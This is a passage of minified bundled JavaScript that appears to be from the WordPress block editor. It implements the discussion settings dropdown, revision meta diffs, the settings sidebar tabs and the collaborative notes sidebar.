replies.&quot;),(0,wi.__)(&quot;Existing comments remain visible.&quot;)].join(&quot; &quot;)}];function Une(){let{editEntityRecord:e}=(0,xE.useDispatch)(iF.store),{allowCommentsOnNewPosts:t,isTemplate:r,postSlug:o}=(0,xE.useSelect)(c=&gt;{let{getEditedPostAttribute:u,getCurrentPostType:d}=c(w),{getEditedEntityRecord:f,canUser:m}=c(iF.store),h=m(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?f(&quot;root&quot;,&quot;site&quot;):void 0;return{isTemplate:d()===xt,postSlug:u(&quot;slug&quot;),allowCommentsOnNewPosts:h?.default_comment_status||&quot;&quot;}},[]),[n,i]=(0,CE.useState)(null),a=(0,CE.useMemo)(()=&gt;({anchor:n,placement:&quot;left-start&quot;,offset:36,shift:!0}),[n]);if(!r||![&quot;home&quot;,&quot;index&quot;].includes(o))return null;let l=c=&gt;{e(&quot;root&quot;,&quot;site&quot;,void 0,{default_comment_status:c?&quot;open&quot;:null})};return(0,Is.jsx)(ht,{label:(0,wi.__)(&quot;Discussion&quot;),ref:i,children:(0,Is.jsx)(pl.Dropdown,{popoverProps:a,contentClassName:&quot;editor-site-discussion-dropdown__content&quot;,focusOnMount:!0,renderToggle:({isOpen:c,onToggle:u})=&gt;(0,Is.jsx)(pl.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:c,&quot;aria-label&quot;:(0,wi.__)(&quot;Change discussion settings&quot;),onClick:u,children:t?(0,wi.__)(&quot;Comments open&quot;):(0,wi.__)(&quot;Comments closed&quot;)}),renderContent:({onClose:c})=&gt;(0,Is.jsxs)(Is.Fragment,{children:[(0,Is.jsx)(zne.__experimentalInspectorPopoverHeader,{title:(0,wi.__)(&quot;Discussion&quot;),onClose:c}),(0,Is.jsxs)(pl.__experimentalVStack,{spacing:3,children:[(0,Is.jsx)(pl.__experimentalText,{children:(0,wi.__)(&quot;Changes will apply to new posts only. Individual posts may override these settings.&quot;)}),(0,Is.jsx)(pl.RadioControl,{className:&quot;editor-site-discussion__options&quot;,hideLabelFromVision:!0,label:(0,wi.__)(&quot;Comment status&quot;),options:ORe,onChange:l,selected:t})]})]})})})}var Hne=s(O(),1),Gne=s(W(),1),Wne=s(ft(),1),Yne=s(E(),1);var qne=s(C(),1);function Zne(){let e=(0,Hne.useSelect)(t=&gt;{let{getCurrentRevision:r}=N(t(w)),o=r();return o?.author?t(Gne.store).getUser(o.author)?.name:null},[]);return e?(0,qne.jsx)(ht,{label:(0,Yne.__)(&quot;Author&quot;),children:(0,Wne.decodeEntities)(e)}):null}var nt=s(C(),1),IRe=&quot;post-status&quot;;function Jne({onActionPerformed:e}){let{isRemovedPostStatusPanel:t,postType:r,postId:o,revisionId:n}=(0,Kne.useSelect)(l=&gt;{let{isEditorPanelRemoved:c,getCurrentPostType:u,getCurrentPostId:d,getCurrentRevisionId:f}=N(l(w));return{isRemovedPostStatusPanel:c(IRe),postType:u(),postId:d(),revisionId:f()}},[]),i=!!n,a=!t&amp;&amp;!i;return(0,nt.jsx)(uE,{className:&quot;editor-post-summary&quot;,children:(0,nt.jsx)(ZC.Slot,{children:l=&gt;(0,nt.jsx)(nt.Fragment,{children:(0,nt.jsxs)(Bm.__experimentalVStack,{spacing:4,children:[(0,nt.jsx)(rv,{postType:r,postId:o,onActionPerformed:e}),!i&amp;&amp;(0,nt.jsx)(kT,{withPanelBody:!1}),!i&amp;&amp;(0,nt.jsx)(TZ,{}),(0,nt.jsxs)(Bm.__experimentalVStack,{spacing:1,children:[(0,nt.jsx)(xne,{}),i?(0,nt.jsx)(Fne,{}):(0,nt.jsx)(Ane,{})]}),i&amp;&amp;n&amp;&amp;(0,nt.jsxs)(nt.Fragment,{children:[(0,nt.jsx)(Bm.ExternalLink,{href:(0,Qne.addQueryArgs)(&quot;revision.php&quot;,{revision:n}),children:(0,Xne.__)(&quot;Open classic revisions screen&quot;)}),(0,nt.jsx)(Zne,{})]}),a&amp;&amp;(0,nt.jsxs)(Bm.__experimentalVStack,{spacing:4,children:[(0,nt.jsxs)(Bm.__experimentalVStack,{spacing:1,children:[(0,nt.jsx)(y4,{}),(0,nt.jsx)(yP,{}),(0,nt.jsx)(ZP,{}),(0,nt.jsx)(aT,{}),(0,nt.jsx)(eT,{}),(0,nt.jsx)(vT,{}),(0,nt.jsx)(UZ,{}),(0,nt.jsx)(DC,{}),(0,nt.jsx)(_P,{}),(0,nt.jsx)(Lne,{}),(0,nt.jsx)(jne,{}),(0,nt.jsx)(Une,{}),(0,nt.jsx)(Pne,{}),l]}),(0,nt.jsx)(zP,{onActionPerformed:e})]})]})})})})}var tie=s(BI(),1),rie=s(O(),1),oie=s(D(),1),nie=s(E(),1);var $ne=s(A(),1);var Mm=s(C(),1);function TE({title:e,entries:t,initialOpen:r}){if(!t)return null;let o=Object.entries(t).map(([n,i])=&gt;(0,Mm.jsx)(ht,{label:n,children:(0,Mm.jsx)(&quot;span&quot;,{className:&quot;editor-revision-fields-diff__value&quot;,children:i.map((a,l)=&gt;a.added?(0,Mm.jsx)(&quot;ins&quot;,{className:&quot;editor-revision-fields-diff__added&quot;,children:a.value},l):a.removed?(0,Mm.jsx)(&quot;del&quot;,{className:&quot;editor-revision-fields-diff__removed&quot;,children:a.value},l):(0,Mm.jsx)(&quot;span&quot;,{children:a.value},l))})},n));return(0,Mm.jsx)($ne.PanelBody,{title:e,initialOpen:r,children:o})}var iie=s(C(),1);function eie(e){return e==null?&quot;&quot;:typeof e==&quot;object&quot;?JSON.stringify(e,null,2):String(e)}function sie(){let{revision:e,previousRevision:t}=(0,rie.useSelect)(o=&gt;{let{getCurrentRevision:n,getPreviousRevision:i}=N(o(w));return{revision:n(),previousRevision:i()}},[]),r=(0,oie.useMemo)(()=&gt;{if(!e)return null;let o=e.meta??{},n=t?.meta??{},i=new Set([...Object.keys(o),...Object.keys(n)]),a={};for(let l of i){let c=eie(o[l]),u=eie(n[l]);!c&amp;&amp;!u||(a[l]=(0,tie.diffWords)(u,c))}return Object.keys(a).length===0?null:a},[e,t]);return(0,iie.jsx)(TE,{title:(0,nie.__)(&quot;Meta&quot;),entries:r,initialOpen:!1})}var n1=s(O(),1),aF=s(W(),1),mie=s(A(),1),lF=s(E(),1),pie=s($(),1),hie=s(Xe(),1);var aie=s(O(),1),lie=s(D(),1),sF=s(W(),1),cie=s(Xe(),1),uie=s(Ls(),1);var{EXCLUDED_PATTERN_SOURCES:NRe,PATTERN_TYPES:FRe}=N(uie.privateApis);function die(e,t){return e.innerBlocks=e.innerBlocks.map(r=&gt;die(r,t)),e.name===&quot;core/template-part&quot;&amp;&amp;e.attributes.theme===void 0&amp;&amp;(e.attributes.theme=t),e}function DRe(e,t){let r=(i,a,l)=&gt;a===l.findIndex(c=&gt;i.name===c.name),o=i=&gt;t.area===&quot;navigation-overlay&quot;&amp;&amp;i.blockTypes?.includes(&quot;core/template-part/navigation-overlay&quot;)?!0:!NRe.includes(i.source),n=i=&gt;i.templateTypes?.includes(t.slug)||i.blockTypes?.includes(&quot;core/template-part/&quot;+t.area);return e.filter((i,a,l)=&gt;r(i,a,l)&amp;&amp;o(i)&amp;&amp;n(i))}function BRe(e,t){return e.map(r=&gt;({...r,keywords:r.keywords||[],type:FRe.theme,blocks:(0,cie.parse)(r.content,{__unstableSkipMigrationLogs:!0}).map(o=&gt;die(o,t))}))}function fie({area:e,name:t,slug:r}){let{blockPatterns:o,restBlockPatterns:n,currentThemeStylesheet:i}=(0,aie.useSelect)(a=&gt;{let{getEditorSettings:l}=a(w),c=l();return{blockPatterns:c.__experimentalAdditionalBlockPatterns??c.__experimentalBlockPatterns,restBlockPatterns:a(sF.store).getBlockPatterns(),currentThemeStylesheet:a(sF.store).getCurrentTheme().stylesheet}},[]);return(0,lie.useMemo)(()=&gt;{let a=[...o||[],...n||[]],l=DRe(a,{area:e,name:t,slug:r});return BRe(l,i)},[e,t,r,o,n,i])}var o1=s(C(),1);function MRe({availableTemplates:e,onSelect:t}){return!e||e?.length===0?null:(0,o1.jsx)(pie.__experimentalBlockPatternsList,{label:(0,lF.__)(&quot;Templates&quot;),blockPatterns:e,onClickPattern:t,showTitlesAsTooltip:!0})}function LRe(){let{area:e,name:t,slug:r,postType:o,postId:n}=(0,n1.useSelect)(c=&gt;{let{getCurrentPostType:u,getCurrentPostId:d}=c(w),{getEditedEntityRecord:f}=c(aF.store),m=u(),h=d(),g=f(&quot;postType&quot;,m,h);return{area:g?.area,name:g?.name,slug:g?.slug,postType:m,postId:h}},[]),{editEntityRecord:i}=(0,n1.useDispatch)(aF.store),a=fie({area:e,name:t,slug:r}),l=async c=&gt;{await i(&quot;postType&quot;,o,n,{blocks:c.blocks,content:(0,hie.serialize)(c.blocks)})};return a?.length?(0,o1.jsx)(mie.PanelBody,{title:(0,lF.__)(&quot;Design&quot;),initialOpen:o===Ur,children:(0,o1.jsx)(MRe,{availableTemplates:a,onSelect:l})}):null}function gie(){let{postType:e}=(0,n1.useSelect)(t=&gt;{let{getCurrentPostType:r}=t(w);return{postType:r()}},[]);return[Ur,xt].includes(e)?(0,o1.jsx)(LRe,{}):null}var vie=s(A(),1),i1=s(E(),1),yie=s(O(),1),bie=s(D(),1),Sie=s(ft(),1);var s1=s(C(),1),{Tabs:cF}=N(vie.privateApis),VRe=(e,t)=&gt;{let{postTypeLabel:r,isAttachment:o,isRevisionsMode:n}=(0,yie.useSelect)(a=&gt;{let{getPostTypeLabel:l,getCurrentPostType:c}=a(w),{isRevisionsMode:u}=N(a(w));return{postTypeLabel:l(),isAttachment:c()===ur&amp;&amp;window?.__experimentalMediaEditor,isRevisionsMode:u()}},[]),i;return n?i=(0,i1.__)(&quot;Revision&quot;):r?i=(0,Sie.decodeEntities)(r):i=(0,i1._x)(&quot;Document&quot;,&quot;noun, panel&quot;),(0,s1.jsxs)(cF.TabList,{ref:t,children:[(0,s1.jsx)(cF.Tab,{tabId:mi.document,&quot;data-tab-id&quot;:mi.document,children:i}),!o&amp;&amp;(0,s1.jsx)(cF.Tab,{tabId:mi.block,&quot;data-tab-id&quot;:mi.block,children:(0,i1.__)(&quot;Block&quot;)})]})},_ie=(0,bie.forwardRef)(VRe);var a1=s(O(),1),wie=s($(),1),xie=s(A(),1),Cie=s(E(),1);var PE=s(C(),1),{BlockQuickNavigation:jRe}=N(wie.privateApis),zRe=&quot;core/template-part&quot;;function URe({postType:e}){let t=pw(),r=(0,a1.useSelect)(n=&gt;{let{getPostBlocksByName:i}=N(n(w));return i(xt===e?zRe:t)},[e,t]),{enableComplementaryArea:o}=(0,a1.useDispatch)(Ce);return r.length===0?null:(0,PE.jsx)(xie.PanelBody,{title:(0,Cie.__)(&quot;Content&quot;),children:(0,PE.jsx)(jRe,{clientIds:r,onSelect:()=&gt;{o(&quot;core&quot;,&quot;edit-post/document&quot;)}})})}function Tie(){let{postType:e,renderingMode:t}=(0,a1.useSelect)(r=&gt;{let{getCurrentPostType:o,getRenderingMode:n}=N(r(w));return{postType:o(),renderingMode:n()}},[]);return t===&quot;post-only&quot;&amp;&amp;e!==xt?null:(0,PE.jsx)(URe,{postType:e})}var kE=s(O(),1),Pie=s(D(),1),kie=s(Xe(),1),RE=s($(),1),Eie=s(A(),1),Rie=s(E(),1);var EE=s(C(),1),{BlockQuickNavigation:HRe}=N(RE.privateApis);function GRe(){let e=(0,kE.useSelect)(o=&gt;{let{getBlockTypes:n}=o(kie.store);return n()},[]),t=(0,Pie.useMemo)(()=&gt;e.filter(o=&gt;o.category===&quot;theme&quot;).map(({name:o})=&gt;o),[e]),r=(0,kE.useSelect)(o=&gt;{let{getBlocksByName:n}=o(RE.store);return n(t)},[t]);return r.length===0?null:(0,EE.jsx)(Eie.PanelBody,{title:(0,Rie.__)(&quot;Content&quot;),children:(0,EE.jsx)(HRe,{clientIds:r})})}function Aie(){return(0,kE.useSelect)(t=&gt;{let{getCurrentPostType:r}=t(w);return r()},[])!==Ur?null:(0,EE.jsx)(GRe,{})}var Oie=s($(),1),Iie=s(O(),1),Nie=s(E(),1);var Fie=s(C(),1);function Die(){let{block:e}=(0,Iie.useSelect)(r=&gt;{let{getSelectedBlock:o}=r(Oie.store);return{block:o()}},[]);if(!e)return null;let t=e.attributes?.__revisionDiffStatus?.changedAttributes;return(0,Fie.jsx)(TE,{title:(0,Nie.__)(&quot;Changed attributes&quot;),entries:t,initialOpen:!0})}var av=s(O(),1),Bie=s(D(),1),Mie=s($(),1),Lie=s(lt(),1);function WRe(){let{hasBlockSelection:e}=(0,av.useSelect)(n=&gt;({hasBlockSelection:!!n(Mie.store).getBlockSelectionStart()}),[]),{getActiveComplementaryArea:t}=(0,av.useSelect)(Ce),{enableComplementaryArea:r}=(0,av.useDispatch)(Ce),{get:o}=(0,av.useSelect)(Lie.store);(0,Bie.useEffect)(()=&gt;{let n=t(&quot;core&quot;),i=[&quot;edit-post/document&quot;,&quot;edit-post/block&quot;].includes(n),a=o(&quot;core&quot;,&quot;distractionFree&quot;);!i||a||(e?r(&quot;core&quot;,&quot;edit-post/block&quot;):r(&quot;core&quot;,&quot;edit-post/document&quot;))},[e,t,r,o])}var Vie=WRe;var qt=s(C(),1),{Tabs:lv}=N(zie.privateApis),YRe=hl.Platform.select({web:!0,native:!1}),qRe=({tabName:e,keyboardShortcut:t,onActionPerformed:r,extraPanels:o,postType:n})=&gt;{let i=(0,hl.useRef)(null),a=(0,hl.useContext)(lv.Context),l=n===ur,c=(0,l1.useSelect)(u=&gt;N(u(w)).isRevisionsMode());return(0,hl.useEffect)(()=&gt;{let u=Array.from(i.current?.querySelectorAll(&#039;[role=&quot;tab&quot;]&#039;)||[]),d=u.find(h=&gt;h.getAttribute(&quot;data-tab-id&quot;)===e),f=d?.ownerDocument.activeElement;u.some(h=&gt;f&amp;&amp;f.id===h.id)&amp;&amp;d&amp;&amp;d.id!==f?.id&amp;&amp;d?.focus()},[e]),(0,qt.jsx)(nm,{identifier:e,header:(0,qt.jsx)(lv.Context.Provider,{value:a,children:(0,qt.jsx)(_ie,{ref:i})}),closeLabel:(0,cv.__)(&quot;Close Settings&quot;),className:&quot;editor-sidebar__panel&quot;,headerClassName:&quot;editor-sidebar__panel-tabs&quot;,title:(0,cv._x)(&quot;Settings&quot;,&quot;panel button label&quot;),toggleShortcut:t,icon:(0,cv.isRTL)()?zd:Ud,isActiveByDefault:YRe,children:(0,qt.jsxs)(lv.Context.Provider,{value:a,children:[(0,qt.jsx)(lv.TabPanel,{tabId:mi.document,focusable:!1,children:l?(0,qt.jsx)(JN,{onActionPerformed:r}):(0,qt.jsxs)(qt.Fragment,{children:[(0,qt.jsx)(Jne,{onActionPerformed:r}),c&amp;&amp;(0,qt.jsx)(sie,{}),!c&amp;&amp;(0,qt.jsxs)(qt.Fragment,{children:[(0,qt.jsx)(GC.Slot,{}),(0,qt.jsx)(Tie,{}),(0,qt.jsx)(Aie,{}),(0,qt.jsx)(gie,{}),(0,qt.jsx)(CP,{}),(0,qt.jsx)(yne,{}),o]})]})}),!l&amp;&amp;(0,qt.jsxs)(lv.TabPanel,{tabId:mi.block,focusable:!1,children:[(0,qt.jsx)(AE.BlockInspector,{}),c&amp;&amp;(0,qt.jsx)(Die,{})]})]})})},ZRe=({extraPanels:e,onActionPerformed:t})=&gt;{Vie();let{tabName:r,keyboardShortcut:o,showSummary:n,postType:i}=(0,l1.useSelect)(c=&gt;{let u=c(jie.store).getShortcutRepresentation(&quot;core/editor/toggle-sidebar&quot;),d=c(Ce).getActiveComplementaryArea(&quot;core&quot;),f=[mi.block,mi.document].includes(d),m=d;f||(m=c(AE.store).getBlockSelectionStart()?mi.block:mi.document);let h=c(w).getCurrentPostType();return{tabName:m,keyboardShortcut:u,showSummary:![xt,Ur,jd].includes(h),postType:h}},[]),{enableComplementaryArea:a}=(0,l1.useDispatch)(Ce),l=(0,hl.useCallback)(c=&gt;{c&amp;&amp;a(&quot;core&quot;,c)},[a]);return(0,qt.jsx)(lv,{selectedTabId:r,onSelect:l,selectOnMove:!1,children:(0,qt.jsx)(qRe,{tabName:r,keyboardShortcut:o,showSummary:n,onActionPerformed:t,extraPanels:e,postType:i})})},Uie=ZRe;var gv=s(E(),1),bl=s(O(),1),yse=s(A(),1),bse=s(D(),1),Sse=s(he(),1),_se=s(Oi(),1);var hF=s($(),1);var wse=s(lt(),1);var uv=&quot;edit-post/collab-history-sidebar&quot;,Fd=&quot;edit-post/collab-sidebar&quot;,uF=[uv,Fd];var uo=s(D(),1),ar=s(A(),1),ase=s(he(),1);var gt=s(E(),1),Zc=s(O(),1),lse=s(xh(),1),mv=s($(),1);var OE=s(A(),1),IE=s(E(),1),vl=s(po(),1),Hie=s(W(),1),Gie=s(O(),1),Wie=s($(),1);var gl=s(C(),1);function KRe({avatar:e,name:t,date:r,userId:o}){let n=!!e,i=(0,vl.getSettings)(),{currentUserAvatar:a,currentUserName:l,currentUserId:c,dateFormat:u=i.formats.date}=(0,Gie.useSelect)(v=&gt;{let{canUser:y,getCurrentUser:b,getEntityRecord:_}=v(Hie.store),S=y(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?_(&quot;root&quot;,&quot;site&quot;):void 0;if(n)return{dateFormat:S?.date_format};let{getSettings:x}=v(Wie.store),{__experimentalDiscussionSettings:T}=x(),R=T?.avatarURL,F=b();return{currentUserAvatar:F?.avatar_urls?.[48]??R,currentUserName:F?.name,currentUserId:F?.id,dateFormat:S?.date_format}},[n]),d=(0,vl.getDate)(r),f=(0,vl.dateI18n)(&quot;c&quot;,d),h=Math.floor((new Date-d)/(1e3*60*60*24))&lt;30?(0,vl.humanTimeDiff)(d):(0,vl.dateI18n)(u,d),g=(0,vl.dateI18n)((0,IE._x)(&quot;F j, Y g:i\xA0a&quot;,&quot;Note date full date format&quot;),r);return(0,gl.jsxs)(gl.Fragment,{children:[(0,gl.jsx)(&quot;img&quot;,{src:e||a,className:&quot;editor-collab-sidebar-panel__user-avatar&quot;,alt:(0,IE.__)(&quot;User avatar&quot;),width:32,height:32,style:{borderColor:ws(o??c)}}),(0,gl.jsxs)(OE.__experimentalVStack,{spacing:&quot;0&quot;,children:[(0,gl.jsx)(&quot;span&quot;,{className:&quot;editor-collab-sidebar-panel__user-name&quot;,children:t??l}),r&amp;&amp;(0,gl.jsx)(OE.Tooltip,{text:g,children:(0,gl.jsx)(&quot;time&quot;,{dateTime:f,className:&quot;editor-collab-sidebar-panel__user-time&quot;,children:h})})]})]})}var c1=KRe;var Yie=s(x4(),1),qie=s(D(),1),Ns=s(A(),1),dF=s(E(),1),NE=s(he(),1),Zie=s(yo(),1);var yl=s(C(),1);function Kie({onSubmit:e,onCancel:t,thread:r,submitButtonText:o,labelText:n,reflowComments:i=Og}){let[a,l]=(0,qie.useState)(r?.content?.raw??&quot;&quot;),c=(0,NE.useDebounce)(i,100),u=m=&gt;{l(m)},d=(0,NE.useInstanceId)(Kie,&quot;comment-input&quot;),f=a===r?.content?.raw||!x$(a).length;return(0,yl.jsxs)(Ns.__experimentalVStack,{className:&quot;editor-collab-sidebar-panel__comment-form&quot;,spacing:&quot;4&quot;,as:&quot;form&quot;,onSubmit:m=&gt;{m.preventDefault(),e(a),l(&quot;&quot;)},children:[(0,yl.jsx)(Ns.VisuallyHidden,{as:&quot;label&quot;,htmlFor:d,children:n??(0,dF.__)(&quot;Note&quot;)}),(0,yl.jsx)(Yie.default,{id:d,value:a??&quot;&quot;,onChange:m=&gt;{u(m.target.value),c()},rows:1,maxRows:20,onKeyDown:m=&gt;{Zie.isKeyboardEvent.primary(m,&quot;Enter&quot;)&amp;&amp;!f&amp;&amp;m.target.parentNode.requestSubmit(),m.key===&quot;Escape&quot;&amp;&amp;(m.preventDefault(),t(m))}}),(0,yl.jsxs)(Ns.__experimentalHStack,{spacing:&quot;2&quot;,justify:&quot;flex-end&quot;,wrap:!0,children:[(0,yl.jsx)(Ns.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,onClick:t,children:(0,yl.jsx)(Ns.__experimentalTruncate,{children:(0,dF.__)(&quot;Cancel&quot;)})}),(0,yl.jsx)(Ns.Button,{size:&quot;compact&quot;,accessibleWhenDisabled:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:f,children:(0,yl.jsx)(Ns.__experimentalTruncate,{children:o})})]})]})}var u1=Kie;var Qr=s(Jn(),1),BE=s(Jn(),1),Jie=s(s5(),1);var FE=typeof document&lt;&quot;u&quot;?BE.useLayoutEffect:BE.useEffect;function DE(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e==&quot;function&quot;&amp;&amp;e.toString()===t.toString())return!0;let r,o,n;if(e&amp;&amp;t&amp;&amp;typeof e==&quot;object&quot;){if(Array.isArray(e)){if(r=e.length,r!==t.length)return!1;for(o=r;o--!==0;)if(!DE(e[o],t[o]))return!1;return!0}if(n=Object.keys(e),r=n.length,r!==Object.keys(t).length)return!1;for(o=r;o--!==0;)if(!{}.hasOwnProperty.call(t,n[o]))return!1;for(o=r;o--!==0;){let i=n[o];if(!(i===&quot;_owner&quot;&amp;&amp;e.$$typeof)&amp;&amp;!DE(e[i],t[i]))return!1}return!0}return e!==e&amp;&amp;t!==t}function $ie(e){return typeof window&gt;&quot;u&quot;?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function Xie(e,t){let r=$ie(e);return Math.round(t*r)/r}function Qie(e){let t=Qr.useRef(e);return FE(()=&gt;{t.current=e}),t}function ese(e){e===void 0&amp;&amp;(e={});let{placement:t=&quot;bottom&quot;,strategy:r=&quot;absolute&quot;,middleware:o=[],platform:n,elements:{reference:i,floating:a}={},transform:l=!0,whileElementsMounted:c,open:u}=e,[d,f]=Qr.useState({x:0,y:0,strategy:r,placement:t,middlewareData:{},isPositioned:!1}),[m,h]=Qr.useState(o);DE(m,o)||h(o);let[g,v]=Qr.useState(null),[y,b]=Qr.useState(null),_=Qr.useCallback(Z=&gt;{Z!==R.current&amp;&amp;(R.current=Z,v(Z))},[]),S=Qr.useCallback(Z=&gt;{Z!==F.current&amp;&amp;(F.current=Z,b(Z))},[]),x=i||g,T=a||y,R=Qr.useRef(null),F=Qr.useRef(null),B=Qr.useRef(d),z=c!=null,L=Qie(c),M=Qie(n),k=Qr.useCallback(()=&gt;{if(!R.current||!F.current)return;let Z={placement:t,strategy:r,middleware:m};M.current&amp;&amp;(Z.platform=M.current),o6(R.current,F.current,Z).then(V=&gt;{let j={...V,isPositioned:!0};I.current&amp;&amp;!DE(B.current,j)&amp;&amp;(B.current=j,Jie.flushSync(()=&gt;{f(j)}))})},[m,t,r,M]);FE(()=&gt;{u===!1&amp;&amp;B.current.isPositioned&amp;&amp;(B.current.isPositioned=!1,f(Z=&gt;({...Z,isPositioned:!1})))},[u]);let I=Qr.useRef(!1);FE(()=&gt;(I.current=!0,()=&gt;{I.current=!1}),[]),FE(()=&gt;{if(x&amp;&amp;(R.current=x),T&amp;&amp;(F.current=T),x&amp;&amp;T){if(L.current)return L.current(x,T,k);k()}},[x,T,k,L,z]);let U=Qr.useMemo(()=&gt;({reference:R,floating:F,setReference:_,setFloating:S}),[_,S]),G=Qr.useMemo(()=&gt;({reference:x,floating:T}),[x,T]),Y=Qr.useMemo(()=&gt;{let Z={position:r,left:0,top:0};if(!G.floating)return Z;let V=Xie(G.floating,d.x),j=Xie(G.floating,d.y);return l?{...Z,transform:&quot;translate(&quot;+V+&quot;px, &quot;+j+&quot;px)&quot;,...$ie(G.floating)&gt;=1.5&amp;&amp;{willChange:&quot;transform&quot;}}:{position:r,left:V,top:j}},[r,l,G.floating,d.x,d.y]);return Qr.useMemo(()=&gt;({...d,update:k,refs:U,elements:G,floatingStyles:Y}),[d,k,U,G,Y])}var qc=s(E(),1),Sa=s(D(),1),ME=s(W(),1),_a=s(O(),1),Lm=s($(),1),tse=s(ct(),1),rse=s(ft(),1);var{useBlockElement:XRe,cleanEmptyObject:QRe}=N(Lm.privateApis);function ose(e){let[t,r]=(0,Sa.useReducer)(()=&gt;Date.now(),0),o={post:e,type:&quot;note&quot;,status:&quot;all&quot;,per_page:-1},{records:n}=(0,ME.useEntityRecords)(&quot;root&quot;,&quot;comment&quot;,o,{enabled:!!e&amp;&amp;typeof e==&quot;number&quot;}),{getBlockAttributes:i}=(0,_a.useSelect)(Lm.store),{clientIds:a}=(0,_a.useSelect)(u=&gt;{let{getClientIdsWithDescendants:d}=u(Lm.store);return{clientIds:d()}},[]),{resultComments:l,unresolvedSortedThreads:c}=(0,Sa.useMemo)(()=&gt;{if(!n||n.length===0)return{resultComments:[],unresolvedSortedThreads:[]};let u=a.reduce((x,T)=&gt;{let R=i(T)?.metadata?.noteId;return R&amp;&amp;(x[T]=R),x},{}),d={},f=[],m=Object.keys(u).reduce((x,T)=&gt;(x[u[T]]=T,x),{});if(n.forEach(x=&gt;{let T=m[x.id];d[x.id]={...x,reply:[],blockClientId:x.parent===0?T:null}}),n.forEach(x=&gt;{x.parent===0?f.push(d[x.id]):d[x.parent]&amp;&amp;d[x.parent].reply.push(d[x.id])}),f?.length===0)return{resultComments:[],unresolvedSortedThreads:[]};let h=f.map(x=&gt;({...x,reply:[...x.reply].reverse()})),g=new Map(h.map(x=&gt;[String(x.id),x])),v=new Set(Object.values(u).map(x=&gt;String(x))),y=Object.values(u).map(x=&gt;g.get(String(x))).filter(x=&gt;x!==void 0&amp;&amp;x.status===&quot;hold&quot;),b=Object.values(u).map(x=&gt;g.get(String(x))).filter(x=&gt;x!==void 0&amp;&amp;x.status===&quot;approved&quot;),_=h.filter(x=&gt;!v.has(String(x.id)));return{resultComments:[...y,...b,..._],unresolvedSortedThreads:y}},[a,n,i]);return{resultComments:l,unresolvedSortedThreads:c,reflowComments:r,commentLastUpdated:t}}function nse(e=Og){let{createNotice:t}=(0,_a.useDispatch)(tse.store),{saveEntityRecord:r,deleteEntityRecord:o}=(0,_a.useDispatch)(ME.store),{getCurrentPostId:n}=(0,_a.useSelect)(w),{getBlockAttributes:i,getSelectedBlockClientId:a}=(0,_a.useSelect)(Lm.store),{updateBlockAttributes:l}=(0,_a.useDispatch)(Lm.store),c=m=&gt;{let h=m.message&amp;&amp;m.code!==&quot;unknown_error&quot;?(0,rse.decodeEntities)(m.message):(0,qc.__)(&quot;An error occurred while performing an update.&quot;);t(&quot;error&quot;,h,{type:&quot;snackbar&quot;,isDismissible:!0})};return{onCreate:async({content:m,parent:h})=&gt;{try{let g=await r(&quot;root&quot;,&quot;comment&quot;,{post:n(),content:m,status:&quot;hold&quot;,type:&quot;note&quot;,parent:h||0},{throwOnError:!0});if(!h&amp;&amp;g?.id){let v=a(),y=i(v)?.metadata;l(v,{metadata:{...y,noteId:g.id}})}return t(&quot;snackbar&quot;,h?(0,qc.__)(&quot;Reply added.&quot;):(0,qc.__)(&quot;Note added.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0}),setTimeout(e,300),g}catch(g){e(),c(g)}},onEdit:async({id:m,content:h,status:g})=&gt;{let v=g||&quot;updated&quot;,y={approved:(0,qc.__)(&quot;Note marked as resolved.&quot;),hold:(0,qc.__)(&quot;Note reopened.&quot;),updated:(0,qc.__)(&quot;Note updated.&quot;)};try{if(g===&quot;approved&quot;||g===&quot;hold&quot;){await r(&quot;root&quot;,&quot;comment&quot;,{id:m,status:g},{throwOnError:!0});let b={post:n(),content:h||&quot;&quot;,type:&quot;note&quot;,status:g,parent:m,meta:{_wp_note_status:g===&quot;approved&quot;?&quot;resolved&quot;:&quot;reopen&quot;}};await r(&quot;root&quot;,&quot;comment&quot;,b,{throwOnError:!0})}else await r(&quot;root&quot;,&quot;comment&quot;,{id:m,content:h,status:g},{throwOnError:!0});t(&quot;snackbar&quot;,y[v]??(0,qc.__)(&quot;Note updated.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0}),e()}catch(b){e(),c(b)}},onDelete:async m=&gt;{try{if(await o(&quot;root&quot;,&quot;comment&quot;,m.id,void 0,{throwOnError:!0}),!m.parent){let h=a(),g=i(h)?.metadata;l(h,{metadata:QRe({...g,noteId:void 0})})}t(&quot;snackbar&quot;,(0,qc.__)(&quot;Note deleted.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0}),e()}catch(h){e(),c(h)}}}}function ise(e=!1){let t=(0,_a.useRegistry)();(0,Sa.useEffect)(()=&gt;{if(!e)return;let{getActiveComplementaryArea:r}=t.select(Ce),{disableComplementaryArea:o,enableComplementaryArea:n}=t.dispatch(Ce),i=t.subscribe(()=&gt;{r(&quot;core&quot;)===null&amp;&amp;n(&quot;core&quot;,Fd)});return()=&gt;{i(),r(&quot;core&quot;)===Fd&amp;&amp;o(&quot;core&quot;,Fd)}},[e,t])}function sse({thread:e,calculatedOffset:t,setHeights:r,selectedThread:o,setBlockRef:n,commentLastUpdated:i}){let a=XRe(e.blockClientId),l=(0,Sa.useCallback)((d,f)=&gt;{r(m=&gt;m[d]!==f?{...m,[d]:f}:m)},[r]),{y:c,refs:u}=ese({placement:&quot;right-start&quot;,middleware:[r6({crossAxis:t||-16})],whileElementsMounted:t6});return(0,Sa.useEffect)(()=&gt;{a&amp;&amp;u.setReference(a)},[a,u,i]),(0,Sa.useEffect)(()=&gt;{u.floating?.current&amp;&amp;n(e.id,a)},[a,e.id,u.floating,n]),(0,Sa.useEffect)(()=&gt;{if(u.floating?.current){let d=u.floating.current.scrollHeight;l(e.id,d)}},[e.id,l,u.floating,o,i]),{y:c,refs:u}}var LE=s(E(),1),fv=s(O(),1),VE=s(A(),1),d1=s($(),1);var dv=s(C(),1),{useBlockElement:JRe}=N(d1.privateApis);function 